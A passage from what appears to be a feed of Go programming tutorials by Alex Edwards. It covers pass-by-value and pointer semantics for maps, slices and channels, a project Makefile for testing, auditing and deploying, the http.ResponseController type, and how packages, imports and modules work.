to write-through the new value. You could – if you wanted to – change this line to be (*p).score += 10. That's perfectly valid and will compile fine. But it's not necessary. If you have a pointer to a struct (which is what the p parameter is here), then Go will automatically dereference the pointer for you when you use the dot operator . on it to access a field or call a method. You can also use index expressions on a pointer to an array without dereferencing it. (Note that this will only work on arrays, not slices). For example: a := &[3]string{"a", "b", "c"} fmt.Println(a[1]) // Instead of having to write (*a)[1] "Reference types" Everything we've illustrated in this tutorial so far is true when the parameter type is a basic type, a struct, an array, a function, or a pointer to any of those things. However, the behavior that you get when a parameter is a map, slice or channel type needs some further discussion. Once you realize how these types are implemented at runtime behind the scenes, you'll see that their behavior actually follows the same rules as the other Go types – but nonetheless it can be a bit confusing at first. If you've been programming for a while, you might be familiar with the terms pass-by-value and pass-by-reference from other languages. You might have also heard or read people in the Go world saying things like "maps, slices and channels are reference types", or "maps, slices and channels are passed by reference". Well... the sentiment there is sort of right, but the wording isn't correct and needs tightening up. Firstly, Go does not support pass-by-reference behavior. I've probably banged this drum enough already now, but parameters are always a copy of the arguments. That is, they are always passed by value. Even pointers are passed by value; a pointer parameter will contain a copy of the pointer. Strictly speaking, there's also no such group of things in Go known as "reference types". To be fair, the Go spec did use "reference types" as an umbrella term for maps, slices and channels in one sentence, but this was removed over a decade ago (with the commit message Go has no 'reference types'). Basically, I recommend forgetting hearing the term "reference types" in relation to Go, and replacing it with an understanding of how maps, channels and slices are actually implemented. Maps and Channels The important thing to understand is that behind-the-scenes when your code is running, the Go runtime implements a map as a pointer to a runtime.hmap struct, and a channel as a pointer to a runtime.hchan struct. This means that map and channel parameters behave in a similar way to regular pointer parameters. The parameter will contain a copy of the map or channel, but this copy will still point to the same underlying memory location that holds the runtime.hmap or runtime.hchan struct. In turn, that means that any changes you make to a map or channel parameter will also mutate the argument. Let's look at an example, where we create a scores map containing the names and scores for multiple players like map[string]int{"Alice": 20, "Bob": 160}, and then pass it to a function that increments the score by ten for all players. package main import "fmt" func incrementAllScores(sm map[string]int) { for name := range sm { sm[name] += 10 } } func main() { scores := map[string]int{"Alice": 20, "Bob": 160} incrementAllScores(scores) fmt.Println(scores) // Prints: map[Alice:30 Bob:170] } When you run this, you'll see that incrementAllScores() mutates the scores argument and the program prints map[Alice:30 Bob:170] as the output. Because of this behavior, you normally won't need to use a pointer to a map or channel as a function parameter. On the other hand, if you don't want a function to mutate a map, you can use the maps.Clone() function to create a clone that points to a different memory location, and work on the clone instead. func example(m map[string]int) { cm := maps.Clone(sm) // ... do something with the cloned map. } Note: Although the Go runtime implements maps and channels as pointers to internal structures, this is a runtime implementation detail. Maps and channels are their own concrete types as far as the compiler is concerned, they are not pointers, and you can't do things like dereferencing a map or channel type like you would a pointer. Slices How slices work behind the scenes in Go can be pretty difficult to grok, and if you'd like a detailed explanation I recommend reading the Go Slices: usage and internals post on the official blog. But as a high-level summary, the Go runtime implements slices as a runtime.slice struct. This struct wraps a pointer to a (fixed-size) array that actually stores the slice data. You can think of a slice as being a bit like a 'window through' to a segment of this underlying array. So when you have a function with a slice parameter, the parameter will contain a copy of the slice argument you pass it. Effectively, it will have a copy of the runtime.slice struct. But the pointer in this copy of runtime.slice will still point to the same underlying array, meaning that any changes you make to a slice parameter will also mutate the argument. To demonstrate this, let's say that we have a slice containing some player scores, and pass it to a addBonus() function that adds fifty to each score in the slice. package main import "fmt" func addBonus(s []int) { for i := range s { s[i] += 50 } } func main() { scores := []int{10, 20, 30} addBonus(scores) fmt.Println(scores) // Prints: [60 70 80] } When you run this code it will print [60 70 80], demonstrating that the changes made in addBonus() mutated the elements in the scores slice. If you don't want a function to mutate a slice, you can make a clone of it using slices.Clone() and work on that instead. func example(s []int) { cs := slices.Clone(s) // ... do something with the cloned slice. } So far, so good. Slices generally behave pretty much like maps and channels, in the sense that changing a slice parameter will mutate the argument. If you don't want that, you can make a clone at the start of the function and use the clone instead. But using append() on a slice parameter can sometimes be a source of confusion. Consider the following code, where we create a variadic addScores() function that appends some new values to a scores slice. package main import "fmt" func addScores(s []int, values ...int) { s = append(s, values...) } func main() { scores := []int{10, 20, 30} addScores(scores, 40, 50, 60) fmt.Println(scores) // Prints: [10 20 30] } (Yes, this is a bit of a silly example, but it illustrates the point in a simple way.) When you run this program, it will print out [10 20 30] – demonstrating that the append() operation in addScores() has not affected the scores argument. This actually makes sense and is consistent with the other behavior we've seen in this post. Earlier on I said: Assigning a new value to a parameter with the = operator won't affect the argument in any way (unless the parameter is a pointer and you are dereferencing it and 'writing-through' a new value). Remember, the parameter is just a copy of the argument. The code s = append(s, values...) is no different. We're replacing the s parameter with a new value, and this operation doesn't touch the argument in any way. Note: As a slight aside, the slice returned by append() may or may not point to the same underlying array as the original slice that you're appending too. It all depends on whether the underlying array has enough capacity to store the new values or not. If a new underlying array needs to be reallocated, the pointer in the slice returned by append() will be different. If it doesn't, then the pointer will remain the same and point to the same underlying array. When it comes to slices as a function parameter, this means that if you change the elements in a slice parameter after a call to append(), the change may or may not mutate the argument. It all depends on whether the append() operation resulted in a new underlying array being allocated or not. You can see an example of this behavior here. So what about when you want an append() operation in a function to mutate the argument? The answer here is to make the parameter a pointer to a slice, like so: package main import "fmt" func addScores(s *[]int, values ...int) { *s = append(*s, values...) } func main() { scores := []int{10, 20, 30} addScores(&scores, 40, 50, 60) fmt.Println(scores) // Prints: [10 20 30 40 50 60] } Now with the line *s = append(*s, values...), whatever is returned by the append() function will be 'written-through' to the memory address of the scores argument. Exactly the same logic applies for operations to 'reslice' a slice and assign the result back to the parameter, like s = s[0:1]. If you want this operation to mutate the argument, you should make the parameter a pointer and dereference it like *s = (*s)[0:1]. Summary We've covered a lot of ground in this post, so I'll try to summarize everything into a handful of take-away points. Parameters always contain a copy of the argument. Go doesn't have "reference types" or support pass-by-reference semantics. For the basic Go types, as well as structs, arrays and functions, changing the value of a parameter in the function body won’t change the value of the argument. But if you do want to mutate the argument, you can use a pointer parameter instead and dereference it inside the function to ‘write-through’ a new value to the argument's memory address. For common operations on structs and arrays, Go will automatically dereference the pointer for you. Because of the way that they're implemented by the Go runtime, changes you make to map, slice, channel parameters in a function will mutate the argument. If you don't want this, make a clone at the start of the function and use that instead. Using the = operator to assign a new value to a parameter does not affect the argument (unless you are manually-or-automatically dereferencing a pointer and 'writing-through' a new value). So for slices, if you want a function to perform an append or reslice operation that mutates the argument, you should use a pointer to a slice as the function parameter and dereference it as necessary.

• A time-saving Makefile for your Go projects
  Alex Edwards

  Whenever I start a new Go project, one of the first things I do is create a Makefile in the root of my project directory. This Makefile serves two purposes. The first is to automate common admin tasks (like running tests, checking for vulnerabilities, pushing changes to a remote repository, and deploying to production), and the second is to provide short aliases for Go commands that are long or difficult to remember. I find that it's a simple way to save time and mental overhead, as well as helping me to catch potential problems early and keep my codebases in good shape. While the exact contents of the Makefile changes from project to project, in this post, I want to share the boilerplate that I'm currently using as a starting point. It's generic enough that you should be able to use it as-is for almost all projects. Note: You can also find the Makefile code in this Gist. File: Makefile # Change these variables as necessary. main_package_path = ./cmd/example binary_name = example # ==================================================================================== # # HELPERS # ==================================================================================== # ## help: print this help message .PHONY: help help: @echo 'Usage:' @sed -n 's/^##//p' ${MAKEFILE_LIST} | column -t -s ':' | sed -e 's/^/ /' .PHONY: confirm confirm: @echo -n 'Are you sure? [y/N] ' && read ans && [ $${ans:-N} = y ] .PHONY: no-dirty no-dirty: @test -z "$(shell git status --porcelain)" # ==================================================================================== # # QUALITY CONTROL # ==================================================================================== # ## audit: run quality control checks .PHONY: audit audit: test go mod tidy -diff go mod verify test -z "$(shell gofmt -l .)" go vet ./... go run honnef.co/go/tools/cmd/staticcheck@latest -checks=all,-ST1000,-U1000 ./... go run golang.org/x/vuln/cmd/govulncheck@latest ./... ## test: run all tests .PHONY: test test: go test -v -race -buildvcs ./... ## test/cover: run all tests and display coverage .PHONY: test/cover test/cover: go test -v -race -buildvcs -coverprofile=/tmp/coverage.out ./... go tool cover -html=/tmp/coverage.out ## upgradeable: list direct dependencies that have upgrades available .PHONY: upgradeable upgradeable: @go run github.com/oligot/go-mod-upgrade@latest # ==================================================================================== # # DEVELOPMENT # ==================================================================================== # ## tidy: tidy modfiles and format .go files .PHONY: tidy tidy: go mod tidy -v go fmt ./... ## build: build the application .PHONY: build build: # Include additional build steps, like TypeScript, SCSS or Tailwind compilation here... go build -o=/tmp/bin/${binary_name} ${main_package_path} ## run: run the application .PHONY: run run: build /tmp/bin/${binary_name} ## run/live: run the application with reloading on file changes .PHONY: run/live run/live: go run github.com/cosmtrek/air@v1.43.0 \ --build.cmd "make build" --build.bin "/tmp/bin/${binary_name}" --build.delay "100" \ --build.exclude_dir "" \ --build.include_ext "go, tpl, tmpl, html, css, scss, js, ts, sql, jpeg, jpg, gif, png, bmp, svg, webp, ico" \ --misc.clean_on_exit "true" # ==================================================================================== # # OPERATIONS # ==================================================================================== # ## push: push changes to the remote Git repository .PHONY: push push: confirm audit no-dirty git push ## production/deploy: deploy the application to production .PHONY: production/deploy production/deploy: confirm audit no-dirty GOOS=linux GOARCH=amd64 go build -ldflags='-s' -o=/tmp/bin/linux_amd64/${binary_name} ${main_package_path} upx -5 /tmp/bin/linux_amd64/${binary_name} # Include additional deployment steps here... The Makefile is organized into several sections, each with its own set of targets: 1. HELPERS help: Prints a help message for the Makefile, including a list of available targets and their descriptions. confirm: Prompts the user to confirm an action with a "y/N" prompt. no-dirty: Checks that there there are no untracked files or uncommitted changes to the tracked files in the current git repository. 2. QUALITY CONTROL audit: Runs quality control checks on the codebase, including using go mod tidy -diff to check that the go.mod and go.sum files are up-to-date and correctly formatted, verifying the dependencies with go mod verify, running test -z "$(shell gofmt -l .)" to check that all .go files are correctly formatted, running static analysis with go vet and staticcheck, checking for vulnerabilities using govulncheck, and running all tests. Note that it uses go run to execute the latest versions of the remote staticcheck and govulncheck packages, meaning that you don't need to install these tools first. I've written more about this pattern in a previous post. test: Runs all tests. Note that we enable the race detector and embed build info in the test binary. test/cover: Runs all tests and outputs a coverage report in HTML format. upgradeable: List all direct module dependencies that have a newer version available, using the oligot/go-mod-upgrade tool. 3. DEVELOPMENT tidy: Updates the dependencies and formats the go.mod and go.sum using go mod tidy, and formats all .go files using go fmt. build: Builds the package at main_package_path and outputs a binary at /tmp/bin/{binary_name}. run: Calls the build target and then runs the binary. Note that my main reason for not using go run here is that go run doesn't embed build info in the binary. run/live: Use the air tool to run the application with live reloading enabled. When changes are made to any files with the specified extensions, the application is rebuilt and the binary is re-run. Depending on the project I often add more to this section, such as targets for connecting to a development database instance and managing SQL migrations. Here's an example. 4. OPERATIONS push: Push changes to the remote Git repository. This asks for y/N confirmation first, and automatically runs the audit and no-dirty targets to make sure that all audit checks are passing and there are no uncommitted changes in the repository before the push is executed. production/deploy: Builds the a binary for linux/amd64 architecture, compress it using upx, and then run any deployment steps. Note that this target asks for y/N confirmation before anything is executed, and also runs the audit and no-dirty checks too. Depending on the project I often add more to this section too. For example, a staging/deploy rule for deploying to a staging server, production/connect for SSHing into a production server, production/log for viewing production logs, production/db for connecting to the production database, and production/upgrade for updating and upgrading software on a production server. Usage Each of these targets can be executed by running make followed by the target name in your terminal. For example: $ make tidy go mod tidy -v go fmt ./... If you run make help (or the naked make command without specifiying a target) then you'll get a description of the available targets. $ make help Usage: help print this help message tidy tidy modfiles and format .go files audit run quality control checks test run all tests test/cover run all tests and display coverage build build the application run run the application run/live run the application with reloading on file changes push push changes to the remote Git repository production/deploy deploy the application to production

• How to use the http.ResponseController type
  Alex Edwards

  One of my favorite things about the recent Go 1.20 release is the new http.ResponseController type, which brings with it three nice benefits: You can now override your server-wide read and write deadlines on a per request basis. The pattern for using the http.Flusher and http.Hijacker interfaces is clearer and feels less hacky. No more type assertions necessary! It makes it easier and safer to create and use custom http.ResponseWriter implementations. The first two benefits are mentioned in the release notes, but the third one seems to have gone under the radar a bit... which is a shame, because it's very helpful! Let's dive in a take a look. Per-request deadlines Go's http.Server has ReadTimeout and WriteTimeout settings, which you can use to automatically close a HTTP connection if reading a request or writing response takes longer than a fixed amount of time. These settings are server-wide and apply to all requests, irrespective of the handler or URL. With http.ResponseController you can now use the SetReadDeadline() and SetWriteDeadline() methods to relax or tighten these settings on a per-request basis if you need too. For example: func exampleHandler(w http.ResponseWriter, r *http.Request) { rc := http.NewResponseController(w) // Set a write deadline in 5 seconds time. err := rc.SetWriteDeadline(time.Now().Add(5 * time.Second)) if err != nil { // Handle error } // Do something... // Write the response as normal. w.Write([]byte("Done!")) } This is particularly helpful in an application where you have a small number of handlers that need longer deadlines than all the others, for things like processing a file upload or carrying out a long-running operation. A few other details to mention: If you set a short server-wide deadline, and that deadline is hit before you call SetWriteDeadline() or SetReadDeadline() then they will have no effect. The server-wide deadline wins. If your underlying http.ResponseWriter doesn't support setting per-request deadlines, then calling SetWriteDeadline() or SetReadDeadline() will return a http.ErrNotSupported error. You can effectively remove the server-wide deadline on a per-request basis by passing a zero-valued time.Time struct to SetWriteDeadline() or SetReadDeadline(). For example: rc := http.NewResponseController(w) err := rc.SetWriteDeadline(time.Time{}) if err != nil { // Handle error } Flusher and Hijacker interfaces The http.ResponseController type also makes it slightly nicer to use the 'optional' http.Flusher and http.Hijacker interfaces. For example, before Go 1.20 you would use a code pattern like this this to flush response data to the client: func exampleHandler(w http.ResponseWriter, r *http.Request) { f, ok := w.(http.Flusher) if !ok { // Handle error } for i := 0; i Now you can do this: func exampleHandler(w http.ResponseWriter, r *http.Request) { rc := http.NewResponseController(w) for i := 0; i The pattern for hijacking a connection is similar: func (app *application) home(w http.ResponseWriter, r *http.Request) { rc := http.NewResponseController(w) conn, bufrw, err := rc.Hijack() if err != nil { // Handle error } defer conn.Close() // Do something... } Again, if your underlying http.ResponseWriter doesn't support support flushing or hijacking, then calling Flush() or Hijack() on a http.ResponseController will also return an http.ErrNotSupported error. Custom http.ResponseWriters It's now also easier and safer to create and use custom http.ResponseWriter implementations that still support flushing and hijacking. It's probably easiest to explain how this works with an example, so let's look at the code for a custom http.ResponseWriter implementation that records the HTTP status code of a response. type statusResponseWriter struct { http.ResponseWriter // Embed a http.ResponseWriter statusCode int headerWritten bool } func newstatusResponseWriter(w http.ResponseWriter) *statusResponseWriter { return &statusResponseWriter{ ResponseWriter: w, statusCode: http.StatusOK, } } func (mw *statusResponseWriter) WriteHeader(statusCode int) { mw.ResponseWriter.WriteHeader(statusCode) if !mw.headerWritten { mw.statusCode = statusCode mw.headerWritten = true } } func (mw *statusResponseWriter) Write(b []byte) (int, error) { mw.headerWritten = true return mw.ResponseWriter.Write(b) } func (mw *statusResponseWriter) Unwrap() http.ResponseWriter { return mw.ResponseWriter } So here we've defined a custom statusResponseWriter type, which embeds an existing http.ResponseWriter and implements custom WriteHeader() and Write() methods to support the recording of the HTTP response status code. But the important thing to notice here is the Unwrap() method at the end, which returns the original embedded http.ResponseWriter. When you use the new http.ResponseController type to to flush, hijack or set a deadline, it will call this Unwrap() method to access the original http.ResponseWriter. This is done recursively if necessary, so you can potentially layer multiple custom http.ResponseWriter implementations on top of each other. Let's look at a complete example, where we use this statusResponseWriter in conjunction with some middleware to log response status codes, along with a handler that sends a 'normal' response and another that uses the new http.ResponseController type to send a flushed response. package main import ( "log" "net/http" "time" ) type statusResponseWriter struct { http.ResponseWriter // Embed a http.ResponseWriter statusCode int headerWritten bool } func newstatusResponseWriter(w http.ResponseWriter) *statusResponseWriter { return &statusResponseWriter{ ResponseWriter: w, statusCode: http.StatusOK, } } func (mw *statusResponseWriter) WriteHeader(statusCode int) { mw.ResponseWriter.WriteHeader(statusCode) if !mw.headerWritten { mw.statusCode = statusCode mw.headerWritten = true } } func (mw *statusResponseWriter) Write(b []byte) (int, error) { mw.headerWritten = true return mw.ResponseWriter.Write(b) } func (mw *statusResponseWriter) Unwrap() http.ResponseWriter { return mw.ResponseWriter } func main() { mux := http.NewServeMux() mux.HandleFunc("/normal", normalHandler) mux.HandleFunc("/flushed", flushedHandler) log.Print("Listening...") err := http.ListenAndServe(":3000", logResponse(mux)) if err != nil { log.Fatal(err) } } func logResponse(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { sw := newstatusResponseWriter(w) next.ServeHTTP(sw, r) log.Printf("%s %s: status %d\n", r.Method, r.URL.Path, sw.statusCode) }) } func normalHandler(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusTeapot) w.Write([]byte("OK")) } func flushedHandler(w http.ResponseWriter, r *http.Request) { rc := http.NewResponseController(w) w.Write([]byte("Write A....")) err := rc.Flush() if err != nil { log.Println(err) return } time.Sleep(time.Second) w.Write([]byte("Write B....")) err = rc.Flush() if err != nil { log.Println(err) } } If you want, you can run this and try making requests to the /normal and /flushed endpoints: $ curl http://localhost:3000/normal OK $ curl --no-buffer http://localhost:3000/flushed Write A....Write B.... You should see the response from the flushedHandler in two parts, first the Write A... part, then followed a second later by the Write B... part. And you should see that the statusResponseWriter and logResponse middleware have successfully written log messages, including the correct HTTP status code for each response. $ go run main.go 2023/03/06 21:41:21 Listening... 2023/03/06 21:41:32 GET /normal: status 418 2023/03/06 21:41:44 GET /flushed: status 200

• An introduction to Packages, Imports and Modules in Go
  Alex Edwards

  This tutorial is written for anyone who is new to Go. In it we'll explain what packages, import statements and modules are in Go, how they work and relate to each other and — hopefully — clear up any questions that you have. We'll start at a high level, then work down to the details later. There's quite a lot of content in this tutorial, so I've broken it down into the following eight sections: Packages The main package Importing and using standard library packages Unused and missing imports Exported vs unexported Modules Using multiple packages in your code Importing and using third-party packages Organizing import statements To help illustrate things throughout this post we'll build a small CLI (command-line interface) application which generates and prints out a random 'lucky number'. If you'd like to follow along, run the following commands: $ mkdir lucky-number $ cd lucky-number $ touch main.go Then add the following code to the main.go file: File: main.go package main import ( "fmt" "math/rand" ) func main() { // Get a random number between 0 and 99 inclusive. n := rand.Intn(100) // Print it out. fmt.Printf("Your lucky number is %d!\n", n) } At this point you should be able to run the application and see some output like this: $ go run main.go Your lucky number is 81! Packages A package in Go is essentially a named collection of one or more related .go files. In Go, the primary purpose of packages is to help you isolate and reuse code. Every .go file that you write should begin with a package {name} statement which indicates the name of the package that the file is a part of. For example, in the 'lucky number' code above, the package main line declares that the main.go file is part of a package named main. At the moment: Our 'lucky number' application consists of one package, with the package name main. The main package is made up of one file, with the filename main.go. It's important to explain that code in a package can access and use all types, constants, variables and functions within that package — even if they are declared in a different .go file. Let's illustrate this by splitting our 'lucky number' code across two files. Go ahead and add an additional random.go file: $ touch random.go Then update the two files so that the main() function calls a new randomNumber() function, like so: File: random.go package main import ( "math/rand" ) func randomNumber() int { return rand.Intn(100) } File: main.go package main import ( "fmt" ) func main() { fmt.Printf("Your lucky number is %d!\n", randomNumber()) } So now: Our 'lucky number' application consists of two .go files. Both files are part of the main package (because they both start with a package main statement). If you re-run the application using the two files, you should see the same output. $ go run *.go Your lucky number is 81! Note: If your terminal doesn't support wildcard expansion, you'll need to list the files explicitly and run the command $ go run main.go random.go instead. This example is a bit contrived but it illustrates the point nicely — our main() function is able to call our randomNumber() function because they are part of the same package — despite being in separate .go files. It's totally OK to have quite a lot of .go files in the same package. Having 5, 10 or even 20 files — and thousands of lines of code — in the same package is not uncommon or an anti-pattern in Go. The main package In Go, main is actually a special package name which indicates that the package contains the code for an executable application. That is, it indicates that the package contains code that can be built into a binary and run. Any package with the name main must also contain a main() function somewhere in the package which acts as the entry point for the program. If it doesn't, and you try to run it, you will get this error: $ go run *.go function main is undeclared in the main package It's conventional for your main() function to live in a file with the filename main.go. Technically it doesn't have to, but following this convention makes the application entry point easier to find for anyone reading your code in the future. As an aside, if you try to build or run a non-main package it will also result in an error. For example, if you changed the 'lucky number' code so that the package name is foo instead of main and try to run it, you will get the following (somewhat confusing) error: $ go run *.go package command-line-arguments is not a main package Importing and using standard library packages I'm sure you know this already, but individual .go files can import and use exported types, constants, variables and functions from other packages — including the packages in the Go standard library. The complete tree of Go standard library packages is available here. In our 'lucky number' code we've imported and used the math/rand and fmt packages from the standard library to help us generate a random number and print a message. For example, in the random.go file: File: random.go package main import ( "math/rand" // Import the math/rand package. ) func randomNumber() int { return rand.Intn(100) // Call the Intn() function from the math/rand package. } When importing a package from the standard library you need to use the full path to the package in the standard library tree, not just the name of the package. For example: import ( "fmt" "math/rand" // Not "rand" "net/http" // Not "http" "net/http/httptest" // Not "httptest" ) Once imported, the package name becomes an accessor for the contents of that package. Conveniently, all the packages in the Go standard library have a package name which is the same as the final element of their import path. That means we can use the Intn() function from math/rand by calling rand.Intn(), or the Printf() function from fmt by calling fmt.Printf(). As well as importing packages from the standard library it's possible to import your own packages or third-party packages too. We'll get to that shortly. Unused and missing imports If you import a package but don't actually use it in your code, it will result in a compile-time error. For example, if you import the os package but don't use it you will get an error like: "os" imported and not used Similarly, you'll also get a compile-time error if a package is referenced in your code but not imported. For example, if you try to use the strconv package without importing it you'll get an error like this: undefined: strconv When you're developing rapidly it can sometimes be annoying to keep editing your import statements, but ultimately this behavior helps to keep your code correct and your import list clean and accurate. Tip: You can use the goimports tool to automatically add and remove import statements in your .go files. It's also possible to integrate this with many popular text editors (including VSCode, Emacs and Sublime), so that import statements are updated for you whenever you save a file. But you should be careful if you are using one of the rand or template packages in your code — these standard library package names are ambiguous and you should always check that goimports has added the one that you want (for example, that it has imported html/template instead of text/template, or crypto/rand instead of math/rand). Exported vs unexported Earlier in this tutorial I said: Individual .go files can import and use exported types, constants, variables, functions and methods from other packages — including the packages in the Go standard library. So what does exported mean? Essentially, something in Go code is exported if its name starts with a capital letter. Otherwise it is unexported. For example: var fooBaz string // This is an unexported variable. var FooBar string // This is an exported variable. func fooBaz() {...} // This is an unexported function. func FooBar() {...} // This is an exported function. type fooBaz struct {...} // This is an unexported type. type FooBar struct {...} // This is an exported type. The difference between them is: Unexported things are 'private' to the package that they are declared in. They are only visible to code in the same package. In contrast, exported things in a package are 'public' and are visible to any code that that imports the package. In other words: when you import a package you get to use its exported things, but not its unexported things. Depending on your programming background, capitalization might seem like a funny way to control visibility. But once you get used to it, it has some positives. It's simple, doesn't require you to remember any additional syntax, and it's trivial to see at a glance whether something is exported or not — even when that thing is being used far away from where it is declared. Tips: Generally don't export things unless you actually have a reason to (i.e. don't capitalize a name just because it looks nicer!). Additionally, a main package should never normally be imported by anything, so it probably shouldn't have any exported things in it. Modules If you have a small application which only imports packages from the standard library, then what we've done so far works just fine. But if you want to import and use a third-party package — or structure your code so it's split into multiple packages — then you first need to turn your code into a Go module. The Go Wiki defines modules like this: A module is... a tree of Go source files with a go.mod file in the tree's root directory. In our example the lucky-number directory already contains our two .go files, so all we need to do is add a valid go.mod file to the directory to make it a module. The easiest way to do this is by running the go mod init command and passing in a module path as the final argument, like so: $ go mod init lucky-number.alexedwards.net go: creating new go.mod: module lucky-number.alexedwards.net go: to add module requirements and sums: go mod tidy Before we go further, let's talk about module paths. The module path act as a canonical identifier for a module. Ideally it should be unique and something that is unlikely to be used by anyone else, in any other project. In the command above I've used lucky-number.alexedwards.net as the module path, but it could be (almost) any string value. In the Go community it's conventional to base your module path on a URL that you own or control. So, for this example, a good module path would be something like lucky-number.alexedwards.net or github.com/alexedwards/lucky-number. Important: In most cases, your module path doesn't need to be a 'real' functioning URL with something hosted at it. It's really just an arbitrary string which acts as a unique identifier for your module. But… if you plan to make your code available for reuse (e.g. as an open source package) then your module path must be the location that the code will be fetchable from. So, for example, if you're planning to host the code at github.com/example/package the module path should also be github.com/example/package. OK, let's take a look at the go.mod file that was generated for us: File: go.mod module lucky-number.alexedwards.net go 1.19 We can see that (for now) all this does is declare the module path, along with the version of Go that you are using. We'll revisit this file again later when we talk about using third-party Go packages. Tip: If you're ever looking at some code and want to know what it's module path is, just take a look in its go.mod file. So at this point in the tutorial: The code in the lucky-number directory is now a Go module. The Go module has the module path lucky-number.alexedwards.net. The module contains one main package, which is made up of our main.go and random.go files. Using multiple packages in your code Let's make our 'lucky number' application structure a bit more complex and split up the code into two packages. Before we get started on this change there are a couple of rules and conventions to be aware of: In Go, one package == one directory. That is, all .go files for a package should be contained in the same directory, and a directory should contain the .go files for one package only. You shouldn't ever have .go files with different package names in the same directory. For all non-main packages, the directory name that the code lives in should be the same as the package name. When choosing a name you should pick something that is short, descriptive, lower case and ideally one word. The Go blog has a helpful post with additional guidance and some examples of good and bad names. With those things in mind, let's restructure our 'lucky number' application so that the code for generating the random number is isolated in a new, separate, package called random. $ rm random.go $ mkdir random $ touch random/number.go The file tree for the lucky-number directory should now look like this: $ tree --dirsfirst . ├── random │ └── number.go ├── go.mod └── main.go The important thing to point out is that all the .go files are still part of the same module — they are all part of a file tree with a single go.mod file in the root directory of the tree. OK, let's go ahead and add the following code to the new random/number.go file: File: random/number.go package random import ( "math/rand" ) func Number() int { return rand.Intn(100) } There are four things I'd like to quickly highlight and re-iterate here: The number.go file is part of the random package (notice the statement in the first line). The Number() function is exported (i.e. its name begins with a capital letter). This means it will be visible to any code which imports the random package. The directory name that the code lives in is exactly the same as the package name (random) . The random package is part of the lucky-number.alexedwards.net module. Next let's update our main.go file to import and use the new package. Like so: File: main.go package main import ( "fmt" // Import the random package. "lucky-number.alexedwards.net/random" ) func main() { // Call the random.Number() function to get the random number. Notice that // we use the package name as the accessor, just like we do for the standard // library packages. fmt.Printf("Your lucky number is %d!\n", random.Number()) } The most interesting thing about this is the import path for our new package. When you are importing packages that are part of the same module as your current .go file, the import statement should take the form: import {module path}/{path to the package relative to your go.mod file} So in this case, the module path is lucky-number.alexedwards.net and the path within the module for the package is random, giving us an import path of lucky-number.alexedwards.net/random. Before we go further, I'd like to point out that I'm making this code structure more complicated than it needs to be (just to illustrate things for teaching purposes). There's no real reason here to have split the code into two packages. In fact, overusing packages is a common mistake that newcomers to Go make. Generally you should only split code into additional packages if you have a demonstrable reason to, such as: You want a convenient way to reuse it the code, or to make it available for reuse. You want to isolate or enforce some boundary between the package code and the rest of your codebase. You have some complex code that acts as a 'black box' and moving it to a standalone package will reduce cognitive overhead when working with the rest of your code. A more complex structure Let's tweak the directory structure of our 'lucky number' code a bit more. We'll: Move the main package files into a new cmd/cli directory. Move the random package files into a new internal/random directory. (Again, this is just for teaching purposes. This structure isn't actually necessary for such a small and simple application.) $ mkdir -p cmd/cli internal $ mv main.go cmd/cli/ $ mv random internal/ $ tree --dirsfirst . ├── cmd │ └── cli │ └── main.go ├── internal │ └── random │ └── number.go └── go.mod Once that's done, let's update the cmd/cli/main.go file so that the random package is imported from its new location. Like so: File: cmd/cli/main.go package main import ( "fmt" // Import the random package using the new location under the // `internal` directory. "lucky-number.alexedwards.net/internal/random" ) func main() { fmt.Printf("Your lucky number is %d!\n", random.Number()) } You should now be able to run the application by calling go run with the path to the main package. Like this: $ go run ./cmd/cli Your lucky number is 81! This change helps to illustrate a couple of things: It's not necessary for a main package to live in the module root. It can be anywhere. In fact, it's totally OK for a module to contain multiple main packages. For example, in a larger project you could have a cmd/cli directory with the main package for a CLI tool, and a cmd/web directory with the main package for a web application in the same module. Your non-main packages don't need to be a direct child of the module root either. They can be anywhere in an arbitrarily deep directory structure within the module. Note: The directory name internal has a special behavior in Go. Any packages which live under a directory called internal can only be imported by code inside the parent of the internal directory. In this example, it means that any packages nested under internal can only be imported by code inside our lucky-number directory. Or, looking at it the other way, any packages under internal cannot be imported by code outside of the lucky-number directory. This is useful because it prevents other codebases from importing and relying on the (potentially unversioned and unsupported) packages in an internal directory — even if the code is publicly available somewhere like GitHub. Importing and using third-party packages Let's quickly explore how to import and use a third-party packages. As an example, we'll import the github.com/fatih/color package and use it change the color of the message that our application prints out — but the general process is exactly the same for most other third-party packages too. First you need to download the third-party code from its public repository to your local machine, which you can do with go get: $ go get github.com/fatih/color@latest go: added github.com/fatih/color v1.14.1 go: added github.com/mattn/go-colorable v0.1.13 go: added github.com/mattn/go-isatty v0.0.17 go: added golang.org/x/sys v0.3.0 Notice that go get will recursively download any dependencies that the code has too. Then using the third-party package in your code is fairly straightforward. You'll need to import the third-party package using its module path (which should normally be the same as the repository location that you used when running go get), and then access its exported things via its package name (which in most cases should be the same as the final element of the import path… if it is not, the documentation for the package should make that clear). Let's head to our main.go file and update the code to print a colored message using github.com/fatih/color. File: cmd/cli/main.go package main import ( "lucky-number.alexedwards.net/internal/random" // Import the color package. "github.com/fatih/color" ) func main() { // Use it to print the message in green. green := color.New(color.FgGreen) green.Printf("Your lucky number is %d!\n", random.Number()) } If you run the application again now, you should see a colorized message similar to this: $ go run ./cmd/cli Your lucky number is 81! The go.mod file should have been updated to include the dependencies that the lucky-number.alexedwards.net module has too, along with their exact version numbers. It should look similar to this: File: go.mod module lucky-number.alexedwards.net go 1.19 require github.com/fatih/color v1.14.1 require ( github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.17 // indirect golang.org/x/sys v0.3.0 // indirect ) We can see that github.com/fatih/color is listed as a direct dependency of the lucky-number.alexedwards.net module, and the other dependencies are indirect (that is, our code doesn't import them directly, but they are imported by a package that our code imports). Note: If your go.mod file looks different to this, try running the $ go mod tidy command to format it. go mod tidy also ensures that the listed dependencies match the source code in your module, so it's a good idea to run this command fairly often… especially before committing a change that adds or removes a third-party package import statement in your code. Also note: If you are using a Go version older than 1.17, indirect dependencies are handled differently and not all of them will necessarily be listed in your go.mod file. As an aside, if you are ever looking at a go.mod file and wondering why something is listed as a dependency you can use the $ go mod why command. For example, if you wanted to find out why golang.org/x/sys is an indirect dependency for the lucky-number.alexedwards.net module you could run: $ go mod why -m golang.org/x/sys # golang.org/x/sys lucky-number.alexedwards.net/cmd/cli github.com/fatih/color github.com/mattn/go-isatty golang.org/x/sys/unix We can see from the output that our cmd/cli package imports github.com/fatih/color, which in turn imports github.com/mattn/go-isatty, which in turn imports 